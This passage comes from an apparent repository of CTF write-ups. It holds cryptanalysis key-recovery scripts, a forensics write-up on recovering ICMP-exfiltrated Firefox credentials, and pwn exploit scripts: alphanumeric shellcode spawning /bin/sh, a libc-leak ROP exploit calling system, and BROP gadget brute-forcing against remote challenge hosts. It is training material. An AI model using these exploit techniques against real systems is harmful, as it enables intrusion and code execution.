ct_diff_decr = partial_ct1 ^ partial_ct2 65 | if ct_diff_decr == 0x4444: 66 | if hex(key) not in test_keys.keys(): 67 | test_keys[hex(key)] = 1 68 | else: 69 | test_keys[hex(key)] += 1 70 | if i % 0x20 == 0: 71 | print(hex(i)) 72 | print(dict(sorted(test_keys.items(), key=lambda item: item[1]))) 73 | 74 | print(dict(sorted(test_keys.items(), key=lambda item: item[1]))) 75 | 76 | end_time = time.time() 77 | print('The process took a total time of:', end_time - start_time) -------------------------------------------------------------------------------- /cryptography_challs/CyberOpen/Trails/service.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | sbox = [1, 5, 15, 2, 14, 8, 0, 9, 10, 3, 4, 12, 13, 7, 11, 6] 4 | 5 | pbox = [0x00, 0x04, 0x08, 0x0c, 0x01, 0x05, 0x09, 0x0d, 6 | 0x02, 0x06, 0x0a, 0x0e, 0x03, 0x07, 0x0b, 0x0f] 7 | 8 | flag = ['################', 9 | '################', 10 | '################', 11 | '################', 12 | '################'] #READACTED 13 | 14 | xor = lambda a, b : ''.join([str(int(a[i]) ^ int(b[i])) for i in range(len(a))]) 15 | 16 | def binary(hex): 17 | return bin(int(hex, 16))[2:].zfill(len(hex) * 4) 18 | 19 | def blocks(s): 20 | return [s[i:i+16].ljust(16, '0') for i in range(0, len(s), 16)] 21 | 22 | def encrypt(x): 23 | for i in range(4): 24 | x = xor(x, flag[i]) 25 | x = ''.join([bin(sbox[int(x[i:i+4], 2)])[2:].zfill(4) for i in range(0, len(x), 4)]) 26 | if i == 3: 27 | x = xor(x, flag[i + 1]) 28 | else: 29 | x = ''.join([x[i] for i in pbox]) 30 | return x 31 | 32 | 33 | try: 34 | m = binary(input("Enter message: ")) 35 | print(''.join([encrypt(block) for block in blocks(m)])) 36 | except: 37 | print('Invalid Input. Enter message in hex.') 38 | -------------------------------------------------------------------------------- /cryptography_challs/CyberOpen/Trails/test_one_round.py: -------------------------------------------------------------------------------- 1 | sbox = [1, 5, 15, 2, 14, 8, 0, 9, 10, 3, 4, 12, 13, 7, 11, 6] 2 | 3 | sbox_rev = [6, 0, 3, 9, 10, 1, 15, 13, 5, 7, 8, 14, 11, 12, 4, 2] 4 | 5 | pbox = [0x00, 0x04, 0x08, 0x0c, 0x01, 0x05, 0x09, 0x0d, 6 | 0x02, 0x06, 0x0a, 0x0e, 0x03, 0x07, 0x0b, 0x0f] 7 | 8 | flag = [0xc320, 0x4323, 0x3234, 0x4240, 0x5780] 9 | 10 | def encrypt_custom(x): 11 | for i in range(0,2): 12 | 13 | x = x ^ flag[i] 14 | 15 | new_x = 0 16 | for j in range(3,-1,-1): 17 | sbox_bits = (x >> (j * 4)) % 0x10 18 | sbox_enc = sbox[sbox_bits] 19 | new_x += sbox_enc * (0x10 ** j) 20 | 21 | if i == 1: 22 | new_x = new_x ^ flag[i+1] 23 | 24 | else: 25 | new_x = int(''.join([format(new_x, '016b')[i] for i in pbox]), 2) 26 | 27 | x = new_x 28 | return new_x 29 | 30 | def decrypt_end(x, final_key): 31 | x = x ^ final_key 32 | new_x = 0 33 | for j in range(3,-1,-1): 34 | sbox_bits = (x >> (j * 4)) % 0x10 35 | sbox_enc = sbox_rev[sbox_bits] 36 | new_x += sbox_enc * (0x10 ** j) 37 | return new_x 38 | 39 | test_keys = {} 40 | 41 | for i in range(0, 0xffff): 42 | pt1 = i 43 | pt2 = i ^ 0xc000 44 | if pt2 < pt1: 45 | continue 46 | ct1 = encrypt_custom(pt1) 47 | ct2 = encrypt_custom(pt2) 48 | pt_diff = pt1 ^ pt2 49 | ct_diff = ct1 ^ ct2 50 | if (ct_diff % 0x10000) // 0x1000 != 0: 51 | continue 52 | if (ct_diff % 0x100) // 0x10 != 0: 53 | continue 54 | if (ct_diff % 0x10) // 0x1 != 0: 55 | continue 56 | 57 | for key1 in range(0x10): 58 | partial_ct1 = decrypt_end(ct1, key1 * 0x100) 59 | partial_ct2 = decrypt_end(ct2, key1 * 0x100) 60 | ct_diff1 = partial_ct1 ^ partial_ct2 61 | 62 | key = key1 * 0x100 63 | 64 | if ct_diff1 == 0x800: 65 | if hex(key) not in test_keys.keys(): 66 | test_keys[hex(key)] = 1 67 | else: 68 | test_keys[hex(key)] += 1 69 | 70 | print(dict(sorted(test_keys.items(), key=lambda item: item[1]))) 71 | -------------------------------------------------------------------------------- /cryptography_challs/CyberOpen/Trails/third_round_key_recovery.py: -------------------------------------------------------------------------------- 1 | import string 2 | import time 3 | 4 | sbox = [1, 5, 15, 2, 14, 8, 0, 9, 10, 3, 4, 12, 13, 7, 11, 6] 5 | 6 | sbox_rev = [6, 0, 3, 9, 10, 1, 15, 13, 5, 7, 8, 14, 11, 12, 4, 2] 7 | 8 | pbox = [0x00, 0x04, 0x08, 0x0c, 0x01, 0x05, 0x09, 0x0d, 9 | 0x02, 0x06, 0x0a, 0x0e, 0x03, 0x07, 0x0b, 0x0f] 10 | 11 | key5 = 0x3f21 12 | key4 = 0x3f21 13 | 14 | def decrypt_end(x, test_key): 15 | keys = [key5, key4, test_key] 16 | for i in range(3): 17 | x = x ^ keys[i] 18 | new_x = 0 19 | if i >= 1: 20 | x = int(''.join([format(x, '016b')[i] for i in pbox]), 2) 21 | for j in range(3,-1,-1): 22 | sbox_bits = (x >> (j * 4)) % 0x10 23 | 24 | sbox_enc = sbox_rev[sbox_bits] 25 | 26 | new_x += sbox_enc * (0x10 ** j) 27 | 28 | x = new_x 29 | 30 | return x 31 | 32 | file = open('output.txt', 'r') 33 | mappings = {} 34 | 35 | while True: 36 | line = file.readline() 37 | if not line: 38 | break 39 | if 'Enter' in line: 40 | cleaned = line.split('message: ')[1].strip('\n') 41 | for i in range(16): 42 | plain = int(cleaned[i*4: i*4+4], 16) 43 | cipher = int(file.read(16), 2) 44 | mappings[plain] = cipher 45 | test_keys = {} 46 | 47 | start_time = time.time() 48 | 49 | for i in range(0x0, 0xffff): 50 | pt1 = i 51 | pt2 = i ^ 0x4000 52 | if pt2 < pt1: 53 | continue 54 | ct1 = mappings[pt1] 55 | ct2 = mappings[pt2] 56 | pt_diff = pt1 ^ pt2 57 | ct_diff = ct1 ^ ct2 58 | for char1 in string.printable: 59 | for char2 in string.printable: 60 | key = ord(char1) * 0x100 + ord(char2) 61 | partial_ct1 = decrypt_end(ct1, key) 62 | partial_ct2 = decrypt_end(ct2, key) 63 | ct_diff_decr = partial_ct1 ^ partial_ct2 64 | if ct_diff_decr == 0x8888: 65 | if hex(key) not in test_keys.keys(): 66 | test_keys[hex(key)] = 1 67 | else: 68 | test_keys[hex(key)] += 1 69 | if i % 0x20 == 0: 70 | print(hex(i)) 71 | print(dict(sorted(test_keys.items(), key=lambda item: item[1]))) 72 | 73 | print(dict(sorted(test_keys.items(), key=lambda item: item[1]))) 74 | 75 | end_time = time.time() 76 | print('The process took a total time of:', end_time - start_time) -------------------------------------------------------------------------------- /cryptography_challs/CyberOpen/Trails/z3_solver.py: -------------------------------------------------------------------------------- 1 | #Full credit for writing this script goes to sky/Teddy Heinen 2 | from z3 import * 3 | import time 4 | from random import shuffle,seed 5 | def chunks(lst, n): 6 | """Yield successive n-sized chunks from lst.""" 7 | for i in range(0, len(lst), n): 8 | yield lst[i:i + n] 9 | 10 | 11 | def flatten(l): 12 | return [item for sublist in l for item in sublist] 13 | 14 | def binary(hex): 15 | return bin(int(hex, 16))[2:].zfill(len(hex) * 4) 16 | 17 | c_sbox = [1, 5, 15, 2, 14, 8, 0, 9, 10, 3, 4, 12, 13, 7, 11, 6] 18 | 19 | pbox = [0x00, 0x04, 0x08, 0x0c, 0x01, 0x05, 0x09, 0x0d, 20 | 0x02, 0x06, 0x0a, 0x0e, 0x03, 0x07, 0x0b, 0x0f] 21 | 22 | sbox = Array("sbox", BitVecSort(4), BitVecSort(4)) 23 | 24 | set_param("parallel.enable", True) 25 | 26 | s = Solver() 27 | 28 | for i in range(16): 29 | s.add(sbox[i] == c_sbox[i]) 30 | 31 | flag = [[BitVec(f"flag_{x}_{y}", 1) for x in range(16)] for y in range(5)] 32 | 33 | 34 | for j in range(5): # flag is known to be ASCII 35 | s.add(flag[j][0] == 0) 36 | s.add(flag[j][8] == 0) 37 | 38 | # for i in range(16): 39 | # for j in range(5): 40 | # s.add(flag[j][i] == 1) 41 | 42 | def add_block(s, in_block, out_block, ctr): 43 | 44 | init_state = [BitVec(f"init_stage_{x}_{ctr}", 1) for x in range(16)] 45 | fin_state = [BitVec(f"fin_stage_{x}_{ctr}", 1) for x in range(16)] 46 | 47 | """ 48 | transposes 4 1-bit BitVecs into a 4-bit BitVec 49 | 1,0,1,0 becomes 0b1010 50 | """ 51 | def p4(a,b,c,d): 52 | return Concat(a,b,c,d) 53 | 54 | """ 55 | tranposes 1 4-bit BitVec into 4 1-bit BitVecs 56 | 0b1010 becomes 0,1,0,1 57 | """ 58 | def u4(x): 59 | return Extract(3,3,x), Extract(2,2,x), Extract(1,1,x), Extract(0,0,x) 60 | 61 | def stage(idx, prev_state): 62 | next_stage = [] 63 | for i in range(16): 64 | next_stage.append(prev_state[i] ^ flag[idx][i]) 65 | stage_2 = [sbox[p4(a,b,c,d)] for a,b,c,d in chunks(next_stage,4)] 66 | stage_2 = flatten([u4(x) for x in stage_2]) 67 | if idx == 3: 68 | stage_3 = [x ^ flag[idx+1][i] for i, x in enumerate(stage_2)] 69 | else: 70 | stage_3 = [stage_2[i] for i in pbox] 71 | return stage_3 72 | 73 | for idx, x in enumerate(in_block): 74 | s.add(init_state[idx] == int(x)) 75 | 76 | 77 | second_stage = stage(0, init_state) 78 | third_stage = stage(1, second_stage) 79 | fourth_stage = stage(2, third_stage) 80 | fifth_stage = stage(3, fourth_stage) 81 | 82 | for idx in range(16): 83 | s.add(fifth_stage[idx] == int(out_block[idx])) 84 | 85 | with open("output.txt") as f: 86 | lines = [x.rstrip() for x in f.readlines()] 87 | 88 | ctr = 0 89 | g = 0 90 | start = time.time() 91 | 92 | 93 | order = list(range(0,8192,2)) 94 | shuffle(order) 95 | for i in order: 96 | print(f"checking idx[{i}]... {time.time()-start} since start") 97 | 98 | inp = binary(lines[i].split(": ")[1]) 99 | outp = lines[i+1] 100 | 101 | for in_block, out_block in zip(chunks(inp, 16), chunks(outp, 16)): 102 | add_block(s, in_block, out_block, ctr) 103 | ctr += 1 104 | s.push() 105 | # hit that low-hanging fruit optimization 106 | # push forces z3 to use a solver which can be done incrementally which allows me to add additional constraints (new block pairs) and solve without redoing work 107 | if s.check() == sat: 108 | model = s.model() 109 | trial_flag = "".join(["".join([str(model[flag[y][x]].as_long()) for x in range(16)]) for y in range(5)]) 110 | ascii_flag = "".join([chr(int(x,2)) for x in chunks(trial_flag, 8)]).encode() 111 | print(f"best guess for flag is {ascii_flag}") 112 | else: 113 | print("unsat :(") -------------------------------------------------------------------------------- /forensic_challs/HTB_Apocalypse_2021/Oldest_Trick_in_the_Book/ReadMe.md: -------------------------------------------------------------------------------- 1 | # Oldest Trick in the Book 2 | 3 | The description for this challenge is as follows: 4 | 5 | *A data breach has been identified. The invaders have used the oldest trick in the book. Make sure you can identify what got stolen from us. 6 | This challenge will raise 33 euros for a good cause.* 7 | 8 | This is a forensics challenge that I believe was rated at one out of four stars. 9 | 10 | **TL;DR Solution:** I noticed that the ping packets seemed to contain tiny bits of a zip file, so I pulled them out into a full file. The zip file contained a firefox profile folder, and decoding the user's saved passwords gave me the flag. 11 | 12 | My first step was to open up the packet capture file with Wireshark. I decided that the most logical thing to do would be to order my packets by protocol, since I was hopeful that the exfiltration method would have used just one protocol, and this way it would potentially be more obvious with visual inspection. This was correct; I noticed some strings of English text in the data area of ICMP packets, which is not typical for normal operations. In addition, the first ICMP packet contains the string "PK", which is the file signature for a zip file. Some googling revealed that data exfiltration via ping definitely seems like an "old trick", so I'm definitely on the right track! 13 | 14 | ![older_ICMP_exfil](screenshots/older_ICMP_exfil.png) 15 | 16 | Next, I created a python script to process the relevant data out of the capture file and put it together in a new zip file. Basically, I filtered my packets down so that I was only dealing with ICMP packets, and selected one of the source IPs as another filter, since the requests and replies mean that all the data is doubled. I used the packets with plaintext strings to determine an appropriate slice of data to take from each packet, then I put them together into the my_output.zip file. 17 | 18 | ``` 19 | import pyshark 20 | 21 | FILE = 'older_trick.pcap' 22 | pcap = pyshark.FileCapture(FILE) 23 | 24 | 25 | #print(pcap[1811].icmp) 26 | 27 | answer = b'' 28 | for packet in pcap: 29 | try: 30 | relevant = packet.icmp.data 31 | if packet.ip.src == '192.168.1.7': 32 | 33 | #print(bytes.fromhex(relevant[48:80])) 34 | answer += bytes.fromhex(relevant[48:80]) 35 | #break 36 | except Exception as e: 37 | pass 38 | print(len(answer)) 39 | 40 | f = open("my_output.zip", "wb") 41 | f.write(answer) 42 | ``` 43 | 44 | The contents of the zip file included files like key4.db, cookies.sqlite, logins.json, etc. All of this indicates that this is a Firefox profile folder. I attempted to grep the files for the standard flag format and found nothing, so I then decided to try to extract the saved passwords from the profile. I came across an effective script for this task called firefox_decrypt.py (see here: https://github.com/unode/firefox_decrypt) and ran it: 45 | ``` 46 | knittingirl@piglet:~/CTF/HTBApocalypse/ping_output$ python3 firefox_decrypt.py fini 47 | 2021-05-04 11:10:38,203 - WARNING - profile.ini not found in fini 48 | 2021-05-04 11:10:38,204 - WARNING - Continuing and assuming 'fini' is a profile location 49 | 50 | Website: https://rabbitmq.makelarid.es 51 | Username: 'Frank_B' 52 | Password: 'CHTB{long_time_no_s33_icmp}' 53 | 54 | ``` 55 | 56 | We have the flag! 57 | -------------------------------------------------------------------------------- /forensic_challs/HTB_Apocalypse_2021/Oldest_Trick_in_the_Book/older_trick.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/forensic_challs/HTB_Apocalypse_2021/Oldest_Trick_in_the_Book/older_trick.pcap -------------------------------------------------------------------------------- /forensic_challs/HTB_Apocalypse_2021/Oldest_Trick_in_the_Book/oldest_trick_extraction.py: -------------------------------------------------------------------------------- 1 | import pyshark 2 | 3 | FILE = 'older_trick.pcap' 4 | pcap = pyshark.FileCapture(FILE) 5 | 6 | 7 | #print(pcap[1811].icmp) 8 | 9 | answer = b'' 10 | for packet in pcap: 11 | try: 12 | relevant = packet.icmp.data 13 | if packet.ip.src == '192.168.1.7': 14 | 15 | #print(bytes.fromhex(relevant[48:80])) 16 | answer += bytes.fromhex(relevant[48:80]) 17 | #break 18 | except Exception as e: 19 | pass 20 | print(len(answer)) 21 | 22 | f = open("my_output.zip", "wb") 23 | f.write(answer) 24 | -------------------------------------------------------------------------------- /forensic_challs/HTB_Apocalypse_2021/Oldest_Trick_in_the_Book/screenshots/older_ICMP_exfil.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/forensic_challs/HTB_Apocalypse_2021/Oldest_Trick_in_the_Book/screenshots/older_ICMP_exfil.png -------------------------------------------------------------------------------- /forensic_challs/HTB_Uni_Quals_21/keep_the_steam_activated/forensics_keep_the_steam.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/forensic_challs/HTB_Uni_Quals_21/keep_the_steam_activated/forensics_keep_the_steam.zip -------------------------------------------------------------------------------- /forensic_challs/HTB_Uni_Quals_21/keep_the_steam_activated/ntds_b64encoded.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/forensic_challs/HTB_Uni_Quals_21/keep_the_steam_activated/ntds_b64encoded.png -------------------------------------------------------------------------------- /forensic_challs/HTB_Uni_Quals_21/keep_the_steam_activated/system_ntds_transfer_conversation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/forensic_challs/HTB_Uni_Quals_21/keep_the_steam_activated/system_ntds_transfer_conversation.png -------------------------------------------------------------------------------- /forensic_challs/HTB_Uni_Quals_21/keep_the_steam_activated/winrm_traffic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/forensic_challs/HTB_Uni_Quals_21/keep_the_steam_activated/winrm_traffic.png -------------------------------------------------------------------------------- /forensic_challs/HTB_Uni_Quals_21/keep_the_steam_activated/wireshark_file_extraction.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/forensic_challs/HTB_Uni_Quals_21/keep_the_steam_activated/wireshark_file_extraction.png -------------------------------------------------------------------------------- /forensic_challs/HTB_Uni_Quals_21/peel_back_the_layers/gearrepair_string_convert.py: -------------------------------------------------------------------------------- 1 | flag_list = [] 2 | flag_list.append(0x33725f317b425448) 3 | flag_list.append(0x6b316c5f796c6c34) 4 | flag_list.append(0x706d343374735f33) 5 | flag_list.append(0x306230725f6b6e75) 6 | flag_list.append(0xd0a7d2121217374) 7 | 8 | flag = b'' 9 | for item in flag_list: 10 | flag += (item).to_bytes(8, byteorder='little') 11 | print(flag) 12 | 13 | -------------------------------------------------------------------------------- /forensic_challs/HTB_Uni_Quals_21/strike_back/capture.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/forensic_challs/HTB_Uni_Quals_21/strike_back/capture.pcap -------------------------------------------------------------------------------- /forensic_challs/HTB_Uni_Quals_21/strike_back/cobalt_virustotal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/forensic_challs/HTB_Uni_Quals_21/strike_back/cobalt_virustotal.png -------------------------------------------------------------------------------- /forensic_challs/HTB_Uni_Quals_21/strike_back/freesteam.dmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/forensic_challs/HTB_Uni_Quals_21/strike_back/freesteam.dmp -------------------------------------------------------------------------------- /forensic_challs/HTB_Uni_Quals_21/strike_back/freesteam_exe_extraction.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/forensic_challs/HTB_Uni_Quals_21/strike_back/freesteam_exe_extraction.png -------------------------------------------------------------------------------- /forensic_challs/HTB_Uni_Quals_21/strike_back/orders_pdf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/forensic_challs/HTB_Uni_Quals_21/strike_back/orders_pdf.png -------------------------------------------------------------------------------- /forensic_challs/Registry_Keys_Cheat_Sheet: -------------------------------------------------------------------------------- 1 | # Registry_Keys_Cheat_Sheet 2 | 3 | I would just like to keep track of the registry keys that come up more frequently in CTFs. I'll try to update this over time 4 | 5 | Hardware\Description\System\CentralProcessor\0 gives us the CPU type 6 | System\ControlSet001\Control\ComputerName\ComputerName gives us computer name 7 | Software\Microsoft\Windows\CurrentVersion\Run to get Autoruns and look for persistence 8 | -------------------------------------------------------------------------------- /pwn_challs/CyberOpen22/16-bit/16_bit_writeup.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = process('./chal_patched') 4 | 5 | pid = gdb.attach(target, "\nb *main+148\n set disassembly-flavor intel\ncontinue") 6 | #target = remote('0.cloud.chals.io', 23261) 7 | context.clear(arch='amd64') 8 | import base64 9 | 10 | #Write in the first H 11 | shellcode = asm(''' 12 | xor al, 0x33; 13 | xor dh, BYTE PTR [rax]; 14 | xor al, 0x33; 15 | xor al, 0x31; 16 | xor dh, BYTE PTR [rax]; 17 | xor al, 0x41; 18 | xor BYTE PTR [rax], dh; 19 | ''') 20 | #Write in the second H 21 | shellcode += asm(''' 22 | xor al, 0x33; 23 | xor al, 0x30; 24 | xor BYTE PTR [rax], dh; 25 | ''') 26 | #Writing the 0xff: 27 | #Remember dh = 0x9 and al = 0x73 at this point. 28 | shellcode += asm(''' 29 | xor al, 0x42; 30 | xor dh, BYTE PTR [rax]; 31 | xor al, 0x43; 32 | xor BYTE PTR [rax], bh; 33 | xor BYTE PTR [rax], dh; 34 | ''') 35 | #Writing the 0xc0: 36 | #Remember dh = 0x39 and al = 0x72 at this point. 37 | shellcode += asm(''' 38 | xor al, 0x30; 39 | xor al, 0x37; 40 | xor BYTE PTR [rax], bh; 41 | ''') 42 | #Writing the 0x0f to 0x76: 43 | #Remember dh = 0x39 and al = 0x75 at this point. 44 | shellcode += asm(''' 45 | xor al, 0x30; 46 | xor al, 0x33; 47 | xor BYTE PTR [rax], dh; 48 | ''') 49 | #Writing the 0x05 to 0x77: 50 | #Remember dh = 0x39 and al = 0x75 at this point. 51 | 52 | print(len(shellcode)) 53 | shellcode += asm('xor BYTE PTR [rsi], dh;') * ((0x30 - len(shellcode)) // 2) 54 | shellcode += asm(''' 55 | xor dh, BYTE PTR [rax] 56 | xor al, 0x39; 57 | ''') 58 | 59 | shellcode += asm(''' 60 | xor al, 0x39; 61 | xor al, 0x30; 62 | xor al, 0x31; 63 | xor BYTE PTR [rax], dh; 64 | ''') 65 | 66 | 67 | 68 | payload = base64.b16decode(shellcode + asm('xor BYTE PTR [rsi], dh;') * ((0x70 - len(shellcode)) // 2) + b'A' + b'12' + b'A' + b'14' + b'63') 69 | 70 | print(payload) 71 | target.sendline(payload) 72 | 73 | payload2 = b'\x90' * 0x80 74 | payload2 += asm(''' 75 | lea rdi, [rip+0x30]; 76 | xor rsi, rsi; 77 | xor rdx, rdx; 78 | mov rax, 59; 79 | syscall; 80 | ''') 81 | payload2 += b'\x90' * (0x30 - len(payload2) + 0x80 + 7) + b'/bin/sh\x00' 82 | 83 | target.sendline(payload2) 84 | target.interactive() -------------------------------------------------------------------------------- /pwn_challs/CyberOpen22/16-bit/chal_patched: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/CyberOpen22/16-bit/chal_patched -------------------------------------------------------------------------------- /pwn_challs/CyberOpen22/gibson/gibson_s390x.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/pwn_challs/CyberOpen22/gibson/gibson_s390x.tar -------------------------------------------------------------------------------- /pwn_challs/CyberOpen22/gibson/gibson_writeup.py: -------------------------------------------------------------------------------- 1 | def xorer(payload): 2 | result = b'' 3 | for char in payload: 4 | result += (char ^ 0x52).to_bytes(1, 'big') 5 | return result 6 | 7 | from pwn import * 8 | 9 | target = remote('172.17.0.2', 8888) 10 | 11 | main = 0x0000000001000830 12 | before_read = 0x00000000010008b4 13 | fake_stack_area = 0x1002f80 14 | got_start = 0x1002000 15 | 16 | print(target.recvuntil(b'Enter payroll data:', timeout=1000)) 17 | padding = b'a' * 1144 18 | payload = padding 19 | 20 | payload = xorer(b'%p' * 10) 21 | payload += b'a' * (1144 - len(payload) - 8 * 3) 22 | 23 | payload += p64(got_start - 160)[::-1] * 3 24 | payload += p64(before_read)[::-1] 25 | payload += p64(fake_stack_area)[::-1] 26 | 27 | target.sendline(payload) 28 | 29 | libc = ELF('bin/libc.so.6') 30 | 31 | print(target.recvuntil(b'nil)')) 32 | libc_leak = target.recv(14) 33 | print(libc_leak) 34 | printf_libc = int(libc_leak, 16) - 0x9b4468 35 | print('the printf libc address should be at ', printf_libc) 36 | libc_base = printf_libc - libc.symbols['printf'] 37 | execve = libc_base + libc.symbols['execve'] 38 | system = libc_base + libc.symbols['system'] 39 | sleep = libc_base + libc.symbols['sleep'] 40 | print('execve should be at', hex(execve)) 41 | 42 | payload2 = b'/bin/sh\x00' + p64(system)[::-1] + p64(sleep)[::-1] + p64(main+238)[::-1] 43 | target.sendline(payload2) 44 | 45 | target.interactive() 46 | -------------------------------------------------------------------------------- /pwn_challs/CyberOpen22/push/push_brute_brop_gadget.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | for i in range(0, 0x1000): 4 | target = remote('0.cloud.chals.io', 21978) 5 | 6 | context.arch = "amd64" 7 | 8 | frame = SigreturnFrame() 9 | 10 | print(target.recvuntil(b'Push your way to /bin/sh at :')) 11 | 12 | leak = (target.recvline()) 13 | print(leak) 14 | binsh = int(leak, 16) 15 | print('binsh is at', hex(binsh)) 16 | 17 | payload = b'Y' 18 | target.send(payload) 19 | 20 | 21 | print(target.recvuntil(b'Would you like another push (Y/*) >>>')) 22 | target.sendline(b'Y') 23 | 24 | print(target.recvuntil(b'Would you like another push (Y/*) >>>')) 25 | target.sendline(b'Y') 26 | print(target.recvuntil(b'~ push 0x58585858; ret |')) 27 | leak = (target.recvline()) 28 | print(leak) 29 | 30 | pop_rax = int(leak, 16) + 4 31 | 32 | print('pop rax ret at ', hex(pop_rax)) 33 | 34 | print(target.recvuntil(b'Would you like another push (Y/*) >>>')) 35 | target.sendline(b'Y') 36 | print(target.recvuntil(b'~ push 0x0f050f05; ret |')) 37 | leak = (target.recvline()) 38 | print(leak) 39 | syscall = int(leak, 16) + 2 40 | 41 | print('syscall at', hex(syscall)) 42 | 43 | padding = b'a' * 16 44 | stop_gadget = pop_rax - 0x1c4 + 144 45 | test_address = pop_rax - 0x1c4 + i 46 | 47 | payload = padding + p64(test_address) + p64(1) * 6 + p64(stop_gadget) 48 | print(target.recvuntil(b'(Y/*) >>>')) 49 | target.sendline(payload) 50 | result = target.recvall(timeout=1) 51 | print(result) 52 | if b'You stay the course' in result: 53 | print('winner') 54 | print(hex(test_address)) 55 | print(i) 56 | target.close() 57 | break 58 | print('i is', i) 59 | target.close() 60 | 61 | -------------------------------------------------------------------------------- /pwn_challs/CyberOpen22/push/push_brute_leak_gadget.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | for i in range(33, 0x1000): 4 | target = remote('0.cloud.chals.io', 21978) 5 | 6 | context.arch = "amd64" 7 | 8 | frame = SigreturnFrame() 9 | 10 | print(target.recvuntil(b'Push your way to /bin/sh at :')) 11 | 12 | leak = (target.recvline()) 13 | print(leak) 14 | binsh = int(leak, 16) 15 | print('binsh is at', hex(binsh)) 16 | 17 | payload = b'Y' 18 | target.send(payload) 19 | 20 | 21 | print(target.recvuntil(b'Would you like another push (Y/*) >>>')) 22 | target.sendline(b'Y') 23 | 24 | print(target.recvuntil(b'Would you like another push (Y/*) >>>')) 25 | target.sendline(b'Y') 26 | print(target.recvuntil(b'~ push 0x58585858; ret |')) 27 | leak = (target.recvline()) 28 | print(leak) 29 | 30 | pop_rax = int(leak, 16) + 4 31 | 32 | print('pop rax ret at ', hex(pop_rax)) 33 | 34 | print(target.recvuntil(b'Would you like another push (Y/*) >>>')) 35 | target.sendline(b'Y') 36 | print(target.recvuntil(b'~ push 0x0f050f05; ret |')) 37 | leak = (target.recvline()) 38 | print(leak) 39 | syscall = int(leak, 16) + 2 40 | 41 | print('syscall at', hex(syscall)) 42 | 43 | padding = b'a' * 16 44 | stop_gadget = pop_rax - 0x1c4 + 144 45 | pop_rdi = pop_rax - 0x1c4 + 923 46 | pop_rsi_r15 = pop_rax - 0x1c4 + 921 47 | test_address = pop_rax - 0x1c4 + i 48 | 49 | payload = padding + p64(pop_rdi) + p64(binsh) + p64(stop_gadget) 50 | print(target.recvuntil(b'(Y/*) >>>')) 51 | target.sendline(payload) 52 | result = target.recvall(timeout=1) 53 | print(result) 54 | if len(result) >= 2: 55 | print('winner') 56 | print(hex(test_address)) 57 | print(i) 58 | target.close() 59 | break 60 | print('i is', i) 61 | target.close() 62 | 63 | -------------------------------------------------------------------------------- /pwn_challs/CyberOpen22/push/push_brute_stopgadget.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | for i in range(0, 0x1000): 4 | target = remote('0.cloud.chals.io', 21978) 5 | 6 | context.arch = "amd64" 7 | 8 | frame = SigreturnFrame() 9 | 10 | print(target.recvuntil(b'Push your way to /bin/sh at :')) 11 | 12 | leak = (target.recvline()) 13 | print(leak) 14 | binsh = int(leak, 16) 15 | print('binsh is at', hex(binsh)) 16 | 17 | payload = b'Y' 18 | target.send(payload) 19 | 20 | 21 | print(target.recvuntil(b'Would you like another push (Y/*) >>>')) 22 | target.sendline(b'Y') 23 | 24 | print(target.recvuntil(b'Would you like another push (Y/*) >>>')) 25 | target.sendline(b'Y') 26 | print(target.recvuntil(b'~ push 0x58585858; ret |')) 27 | leak = (target.recvline()) 28 | print(leak) 29 | 30 | pop_rax = int(leak, 16) + 4 31 | 32 | print('pop rax ret at ', hex(pop_rax)) 33 | 34 | print(target.recvuntil(b'Would you like another push (Y/*) >>>')) 35 | target.sendline(b'Y') 36 | print(target.recvuntil(b'~ push 0x0f050f05; ret |')) 37 | leak = (target.recvline()) 38 | print(leak) 39 | syscall = int(leak, 16) + 2 40 | 41 | print('syscall at', hex(syscall)) 42 | 43 | padding = b'a' * 16 44 | test_address = pop_rax - 0x1c4 + i 45 | 46 | payload = padding + p64(test_address) 47 | print(target.recvuntil(b'(Y/*) >>>')) 48 | target.sendline(payload) 49 | result = target.recvall(timeout=1) 50 | print(result) 51 | if len(result) >= 2: 52 | print('winner') 53 | print(hex(test_address)) 54 | print(i) 55 | target.close() 56 | break 57 | print('i is', i) 58 | target.close() 59 | 60 | -------------------------------------------------------------------------------- /pwn_challs/CyberOpen22/push/push_length_detector.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | target = remote('0.cloud.chals.io', 21978) 4 | 5 | print(target.recvuntil(b'Would you like another push (Y/*) >>>')) 6 | i = 1 7 | while True: 8 | 9 